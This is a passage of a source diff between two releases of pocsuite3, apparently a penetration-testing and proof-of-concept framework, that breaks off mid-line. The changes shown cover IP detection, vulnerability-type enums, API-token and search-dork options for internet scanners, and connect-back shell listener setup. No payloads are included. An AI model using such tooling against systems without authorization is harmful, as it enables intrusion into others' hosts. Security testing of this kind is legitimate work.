-Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 -Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.02 (Windows NT 5.0; U; sv) -Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 -Opera/9.60 (X11; Linux x86_64; U) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 -Opera/9.22 (X11; Linux i686; U; en) -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 -Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729; .NET4.0E) \ No newline at end of file diff -Nru pocsuite3-1.7.7/pocsuite3/__init__.py pocsuite3-1.8.10/pocsuite3/__init__.py --- pocsuite3-1.7.7/pocsuite3/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,9 @@ -__title__ = 'pocsuite' -__version__ = '1.7.7' -__author__ = 'Knownsec Security Team' -__author_email__ = 's1@seebug.org' -__license__ = 'GPL 2.0' -__copyright__ = 'Copyright 2018 Knownsec' +__title__ = 'pocsuite3' +__version__ = '1.8.10' +__author__ = 'Knownsec 404 Team' +__author_email__ = '404-team@knownsec.com' +__license__ = 'GPLv2' +__copyright__ = 'Copyright 2014-2021 Knownsec 404 Team' __name__ = 'pocsuite3' __package__ = 'pocsuite3' diff -Nru pocsuite3-1.7.7/pocsuite3/lib/controller/controller.py pocsuite3-1.8.10/pocsuite3/lib/controller/controller.py --- pocsuite3-1.7.7/pocsuite3/lib/controller/controller.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/controller/controller.py 2022-01-10 22:07:00.000000000 +0000 @@ -10,6 +10,7 @@ from pocsuite3.lib.core.poc import Output from pocsuite3.lib.core.settings import CMD_PARSE_WHITELIST from pocsuite3.lib.core.threads import run_threads +from pocsuite3.lib.utils import urlparse from pocsuite3.modules.listener import handle_listener_connection from pocsuite3.modules.listener.reverse_tcp import handle_listener_connection_for_console @@ -96,10 +97,15 @@ if conf.pcap: # start capture flow - import urllib + import os + import logging + + os.environ["MPLBACKEND"] = "Agg" + logging.getLogger("scapy").setLevel(logging.ERROR) + from pocsuite3.lib.utils.pcap_sniffer import Sniffer from scapy.utils import wrpcap - sniffer = Sniffer(urllib.parse.urlparse(target).hostname) + sniffer = Sniffer(urlparse(target).hostname) if sniffer.use_pcap: if not sniffer.is_admin: logger.warn("Please use administrator privileges, and the poc will continue to execute without fetching the packet") @@ -191,12 +197,8 @@ kb.results.append(output) if conf.pcap: sniffer.join(20) - import urllib if not sniffer.is_alive(): - filename = ( - urllib.parse.urlparse(target).hostname + - time.strftime('_%Y_%m_%d_%H%M%S.pcap') - ) + filename = urlparse(target).hostname + time.strftime('_%Y_%m_%d_%H%M%S.pcap') logger.info(f"pcap data has been saved in: {filename}") wrpcap(filename, sniffer.pcap.results) else: diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/common.py pocsuite3-1.8.10/pocsuite3/lib/core/common.py --- pocsuite3-1.7.7/pocsuite3/lib/core/common.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/common.py 2022-01-10 22:07:00.000000000 +0000 @@ -12,6 +12,8 @@ import sys import time import collections +import chardet +import requests from collections import OrderedDict from functools import wraps from ipaddress import ip_address, ip_network @@ -19,10 +21,6 @@ from subprocess import call, Popen, PIPE from colorama.initialise import init as coloramainit from termcolor import colored - -import chardet -import requests - from pocsuite3.lib.core.convert import stdout_encode from pocsuite3.lib.core.data import conf from pocsuite3.lib.core.data import kb @@ -45,6 +43,12 @@ from pocsuite3.lib.core.settings import URL_ADDRESS_REGEX +try: + collectionsAbc = collections.abc +except AttributeError: + collectionsAbc = collections + + def read_binary(filename): content = '' with open(filename, 'rb') as f: @@ -88,9 +92,7 @@ paths.POCSUITE_POCS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "pocs") paths.USER_POCS_PATH = None - paths.USER_AGENTS = os.path.join(paths.POCSUITE_DATA_PATH, "user-agents.txt") paths.WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top100.txt") - paths.LARGE_WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top1000.txt") paths.POCSUITE_HOME_PATH = os.path.expanduser("~") _ = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuite") @@ -104,7 +106,7 @@ paths.POCSUITE_TMP_PATH = os.path.join(_, "tmp") paths.POCSUITE_RC_PATH = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuiterc") paths.POCSUITE_OUTPUT_PATH = paths.get("POCSUITE_OUTPUT_PATH", os.path.join(_, "output")) - paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "shellcodes", "tools") + paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_TMP_PATH, "tools") def banner(): @@ -448,25 +450,54 @@ return ret -def get_local_ip(all=False): - ips = list() - ips.append(get_host_ip()) - try: - for interface in socket.getaddrinfo(socket.gethostname(), None): - ip = interface[4][0] - ips.append(ip) - except Exception: - pass +def get_local_ip(all=True): + """Fetches all the local network address + """ + ips = OrderedSet() + wan_ipv4 = get_host_ip() + ips.add(wan_ipv4) + if not all: + return list(ips) + + wan_ipv6 = get_host_ipv6() + if wan_ipv6: + ips.add(wan_ipv6) - ips = list(set(ips)) + # fix https://github.com/BVLC/caffe/issues/861 + os.environ["MPLBACKEND"] = "Agg" - return ips if all else ips.pop(0) + # fix https://github.com/secdev/scapy/issues/3216 + logging.getLogger("scapy").setLevel(logging.ERROR) + from scapy.all import WINDOWS, get_if_list, get_if_addr + + if WINDOWS: + from scapy.all import IFACES + for iface in sorted(IFACES): + dev = IFACES[iface] + ips.add(dev.ip) + else: + for iface in get_if_list(): + ipv4 = get_if_addr(iface) + if ipv4 != '0.0.0.0': + ips.add(ipv4) + + return list(ips) + + +def get_host_ip(dst='8.8.8.8'): + """ Fetches source ipv4 address when connect to dst + + Args: + dst : target ip or domain + + Returns: + : source ip address + """ -def get_host_ip(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.connect(('8.8.8.8', 80)) + s.connect((dst, 80)) ip = s.getsockname()[0] except Exception: ip = '127.0.0.1' @@ -797,7 +828,7 @@ return text -def index_modules() -> list: +def index_modules(modules_directory): """ Returns list of all exploits modules :param str modules_directory: path to modules directory @@ -805,10 +836,9 @@ """ modules = [] - for root, dirs, files in os.walk(paths.POCSUITE_POCS_PATH): - _, package, root = root.rpartition("pocsuite3/pocs/".replace("/", os.sep)) + for root, _, files in os.walk(modules_directory): files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files) - modules.extend(map(lambda x: os.sep.join((root, os.path.splitext(x)[0])), files)) + modules.extend(map(lambda x: os.path.join(root, os.path.splitext(x)[0]), files)) return modules @@ -822,7 +852,7 @@ :return str: humanized path """ - return path.replace(".", "/") + return path.replace(".", os.sep) def pythonize_path(path: str) -> str: @@ -834,7 +864,7 @@ :return str: pythonized path """ - return path.replace("/", ".") + return path.replace(os.sep, ".") def module_required(fn): @@ -953,16 +983,25 @@ return command -def get_host_ipv6(): +def get_host_ipv6(dst='2001:db8::'): + """ Fetches source ipv6 address when connect to dst + + Args: + dst : target ip or domain + + Returns: + : source ipv6 address + """ + s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) try: - s.connect(('2001:db8::', 1027)) + s.connect((dst, 1027)) except socket.error: return None return s.getsockname()[0] -class OrderedSet(collections.OrderedDict, collections.MutableSet): +class OrderedSet(collections.OrderedDict, collectionsAbc.MutableSet): def add(self, e): self[e] = None diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/enums.py pocsuite3-1.8.10/pocsuite3/lib/core/enums.py --- pocsuite3-1.7.7/pocsuite3/lib/core/enums.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/enums.py 2022-01-10 22:07:00.000000000 +0000 @@ -145,10 +145,12 @@ class VUL_TYPE: - HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution' BACKDOOR = 'Backdoor' INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' CSRF = 'CSRF' + XSS = 'XSS' + UXSS = 'UXSS' + SSRF = 'Server-Side Request Forgery' SHELLCODE = 'ShellCode' SQL_INJECTION = 'SQL Injection' ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' @@ -163,7 +165,6 @@ DENIAL_OF_SERVICE = 'Denial Of service' DATABASE_FOUND = 'Database Found' UPLOAD_FILES = 'Upload Files' - REMOTE_FILE_INCLUSION = 'Remote File Inclusion' LOCAL_OVERFLOW = 'Local Overflow' PRIVILEGE_ESCALATION = 'Privilege Escalation' INFORMATION_DISCLOSURE = 'Information Disclosure' @@ -171,7 +172,6 @@ PATH_TRAVERSAL = 'Path Traversal' RESOLVE_ERROR = 'Resolve Error' UNAUTHORIZED_ACCESS = 'Unauthorized Access' - XSS = 'XSS' PATH_DISCLOSURE = 'Path Disclosure' CODE_EXECUTION = 'Code Execution' REMOTE_PASSWORD_CHANGE = 'Remote Password Change' @@ -181,17 +181,19 @@ MAN_IN_THE_MIDDLE = 'Man-in-the-middle' FORMAT_STRING = 'Format String' BUFFER_OVERFLOW = 'Buffer Overflow' - HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting' CRLF_INJECTION = 'CRLF Injection' XML_INJECTION = 'XML Injection' LOCAL_FILE_INCLUSION = 'Local File Inclusion' + REMOTE_FILE_INCLUSION = 'Remote File Inclusion' CREDENTIAL_PREDICTION = 'Credential Prediction' + HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution' + HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting' HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting' + HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling' + HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling' SSI_INJECTION = 'SSI Injection' OUT_OF_MEMORY = 'Out of Memory' INTEGER_OVERFLOWS = 'Integer Overflows' - HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling' - HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling' CONTENT_SPOOFING = 'Content Spoofing' XQUERY_INJECTION = 'XQuery Injection' BUFFER_OVER_READ = 'Buffer Over-read' @@ -205,4 +207,4 @@ USE_AFTER_FREE = 'Use After Free' DNS_HIJACKING = 'DNS Hijacking' IMPROPER_INPUT_VALIDATION = 'Improper Input Validation' - UXSS = 'UXSS' + UAF = 'Use After Free' diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/exception.py pocsuite3-1.8.10/pocsuite3/lib/core/exception.py --- pocsuite3-1.7.7/pocsuite3/lib/core/exception.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/exception.py 2022-01-10 22:07:00.000000000 +0000 @@ -68,11 +68,13 @@ class PocsuiteHeaderTypeException(PocsuiteBaseException): pass + class PocsuiteIncompleteRead(HTTPException): def __init__(self, partial, expected=None): self.args = partial, self.partial = partial self.expected = expected + def __repr__(self): if self.expected is not None: e = ', %i more expected' % self.expected @@ -80,5 +82,6 @@ e = '' return '%s(%i bytes read%s)' % (self.__class__.__name__, len(self.partial), e) + def __str__(self): - return repr(self) \ No newline at end of file + return repr(self) diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/interpreter.py pocsuite3-1.8.10/pocsuite3/lib/core/interpreter.py --- pocsuite3-1.7.7/pocsuite3/lib/core/interpreter.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/interpreter.py 2022-01-10 22:07:00.000000000 +0000 @@ -10,7 +10,7 @@ from termcolor import colored from pocsuite3.lib.controller.controller import start -from pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, humanize_path, module_required, \ +from pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, module_required, \ get_poc_name, stop_after, get_local_ip, is_ipv6_address_format, rtrim, ltrim, exec_cmd from pocsuite3.lib.core.data import logger, paths, kb, conf from pocsuite3.lib.core.enums import POC_CATEGORY, AUTOCOMPLETE_TYPE @@ -171,7 +171,7 @@ attack Attack target and return target vulnerable infomation exploit Get a shell from remote target""" - def __init__(self): + def __init__(self, module_directory=paths.POCSUITE_POCS_PATH): super(PocsuiteInterpreter, self).__init__() self.current_module = None @@ -186,7 +186,9 @@ self.module_commands.extend(self.global_commands) self.module_commands.sort() - self.modules = index_modules() + self.modules = index_modules(module_directory) + self.module_parent_directory = os.sep.join( + module_directory.rstrip(os.sep).split(os.sep)[0:-1]) + os.sep self.modules_count = len(self.modules) # init conf.console_mode = True @@ -198,10 +200,7 @@ self.main_modules_dirs = [] for module in self.modules: temp_module = module - if IS_WIN: - temp_module = temp_module.replace("/", "\\") - temp_module = temp_module.replace(paths.POCSUITE_ROOT_PATH, "").lstrip("\\") - temp_module = temp_module.replace(paths.POCSUITE_ROOT_PATH, "").lstrip("/") + temp_module = ltrim(temp_module, self.module_parent_directory).lstrip(os.sep) self.main_modules_dirs.append(temp_module) self.__parse_prompt() @@ -315,7 +314,7 @@ if not module_path.endswith(".py"): module_path = module_path + ".py" if not os.path.exists(module_path): - module_path = os.path.join(paths.POCSUITE_ROOT_PATH, module_path) + module_path = os.path.join(self.module_parent_directory, module_path) if not os.path.exists(module_path): errMsg = "No such file: '{0}'".format(module_path) logger.error(errMsg) @@ -323,8 +322,8 @@ try: load_file_to_module(module_path) self.current_module = kb.current_poc - self.current_module.pocsuite3_module_path = ltrim(rtrim(module_path, ".py"), - os.path.join(paths.POCSUITE_ROOT_PATH, "")) + self.current_module.pocsuite3_module_path = ltrim( + rtrim(module_path, ".py"), self.module_parent_directory) except Exception as err: logger.error(str(err)) @@ -447,7 +446,7 @@ tb = prettytable.PrettyTable(["Index", "Path", "Name"]) index = 0 for tmp_module in self.main_modules_dirs: - found = os.path.join(paths.POCSUITE_ROOT_PATH, tmp_module + ".py") + found = os.path.join(self.module_parent_directory, tmp_module + ".py") with open(found, encoding='utf-8') as f: code = f.read() name = get_poc_name(code) diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/log.py pocsuite3-1.8.10/pocsuite3/lib/core/log.py --- pocsuite3-1.7.7/pocsuite3/lib/core/log.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/log.py 2022-01-10 22:07:00.000000000 +0000 @@ -9,6 +9,7 @@ logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") LOGGER = logging.getLogger("pocsuite") +sys.stdout = open(sys.stdout.fileno(), mode='w', encoding='utf8', buffering=1) LOGGER_HANDLER = logging.StreamHandler(sys.stdout) PRIMARY_FMT = ( "%(cyan)s[%(asctime)s] %(log_color)s[%(levelname)s]%(reset)s %(message)s" diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/optiondict.py pocsuite3-1.8.10/pocsuite3/lib/core/optiondict.py --- pocsuite3-1.7.7/pocsuite3/lib/core/optiondict.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/optiondict.py 2022-01-10 22:07:00.000000000 +0000 @@ -7,6 +7,7 @@ 'url': 'string', 'url_file': 'string', 'poc': 'string', + 'poc_keyword': 'string', 'configFile': 'string' }, 'Mode': { @@ -17,7 +18,6 @@ 'host': 'string', 'referer': 'string', 'agent': 'string', - 'random_agent': 'boolean', 'proxy': 'string', 'proxy_cred': 'string', 'timeout': 'string', @@ -27,17 +27,30 @@ }, 'Account': { 'login_user': 'string', - 'login_pass': 'string' + 'login_pass': 'string', + 'shodan_token': 'string', + 'fofa_user': 'string', + 'fofa_token': 'string', + 'quake_token': 'string', + 'censys_uid': 'string', + 'censys_secret': 'string' }, 'Modules': { 'dork': 'string', + 'dork_zoomeye': 'string', + 'dork_shodan': 'string', + 'dork_censys': 'string', + 'dork_fofa': 'string', + 'dork_quake': 'string', 'max_page': 'integer', 'search_type': 'string', 'vul_keyword': 'string', 'ssvid': 'string', 'connect_back_host': 'string', 'connect_back_port': 'string', - "comparison": "boolean" + 'enable_tls_listener': 'boolean', + "comparison": 'boolean', + 'dork_b64': 'boolean' }, 'Optimization': { 'plugins': 'string', @@ -45,6 +58,14 @@ 'threads': 'integer', 'batch': 'string', 'check_requires': 'boolean', - 'quiet': 'boolean' + 'quiet': 'boolean', + 'ppt': 'boolean', + 'pcap': 'boolean', + 'rule': 'boolean', + 'rule_req': 'boolean', + 'rule_filename': 'string' + }, + 'Poc options': { + 'show_options': 'boolean' } } diff -Nru pocsuite3-1.7.7/pocsuite3/lib/core/option.py pocsuite3-1.8.10/pocsuite3/lib/core/option.py --- pocsuite3-1.7.7/pocsuite3/lib/core/option.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/core/option.py 2022-01-10 22:07:00.000000000 +0000 @@ -4,16 +4,18 @@ import os import re import socket -import socks import importlib from queue import Queue from urllib.parse import urlsplit +import socks +import prettytable +from termcolor import colored from pocsuite3.lib.core.clear import remove_extra_log_message from pocsuite3.lib.core.common import boldify_message, check_file, get_file_items, parse_target, \ get_public_type_members, data_to_stdout from pocsuite3.lib.core.common import check_path, extract_cookies -from pocsuite3.lib.core.common import get_local_ip, desensitization +from pocsuite3.lib.core.common import get_local_ip, desensitization, get_host_ip from pocsuite3.lib.core.common import single_time_warn_message from pocsuite3.lib.core.common import OrderedSet from pocsuite3.lib.core.convert import stdout_encode @@ -27,7 +29,7 @@ from pocsuite3.lib.core.exception import PocsuiteSyntaxException, PocsuiteSystemException, PocsuiteHeaderTypeException from pocsuite3.lib.core.log import FORMATTER from pocsuite3.lib.core.register import load_file_to_module -from pocsuite3.lib.core.settings import DEFAULT_USER_AGENT, DEFAULT_LISTENER_PORT, CMD_PARSE_WHITELIST +from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT, CMD_PARSE_WHITELIST from pocsuite3.lib.core.statistics_comparison import StatisticsComparison from pocsuite3.lib.core.update import update from pocsuite3.lib.parse.cmd import DIY_OPTIONS @@ -75,21 +77,6 @@ set user-agent :return: ''' - - conf.http_headers[HTTP_HEADER.USER_AGENT] = DEFAULT_USER_AGENT - - if conf.random_agent: - uapath = os.path.join(paths.POCSUITE_DATA_PATH, 'user-agents.txt') - if os.path.exists(uapath): - with open(uapath) as f: - agents = f.read().split("\n") - if len(agents) == 1 and "" in agents: - logger.error("user-agents file is empty will use default") - else: - conf.agents = agents - else: - logger.error("user-agents file not fond will use default") - if conf.agent: conf.http_headers[HTTP_HEADER.USER_AGENT] = conf.agent @@ -226,7 +213,8 @@ if conf.dork: # enable plugin 'target_from_zoomeye' by default - if 'target_from_shodan' not in conf.plugins and 'target_from_fofa' not in conf.plugins and 'target_from_quake' not in conf.plugins: + if ('target_from_shodan' not in conf.plugins and 'target_from_fofa' not in conf.plugins + and 'target_from_quake' not in conf.plugins): conf.plugins.append('target_from_zoomeye') if conf.dork_zoomeye: @@ -244,6 +232,7 @@ if conf.dork_quake: conf.plugins.append('target_from_quake') + def _set_task_queue(): if kb.registered_pocs and kb.targets: for poc_module in kb.registered_pocs: @@ -281,14 +270,18 @@ def _set_connect_back(): - ips = get_local_ip(all=True) - if ips: - kb.data.local_ips = ips if conf.mode == "shell" and conf.connect_back_host is None: + wan_ipv4 = get_host_ip() + kb.data.local_ips = get_local_ip(all=True) data_to_stdout("[i] pocsusite is running in shell mode, you need to set connect back host:\n") message = '----- Local IP Address -----\n' for i, ip in 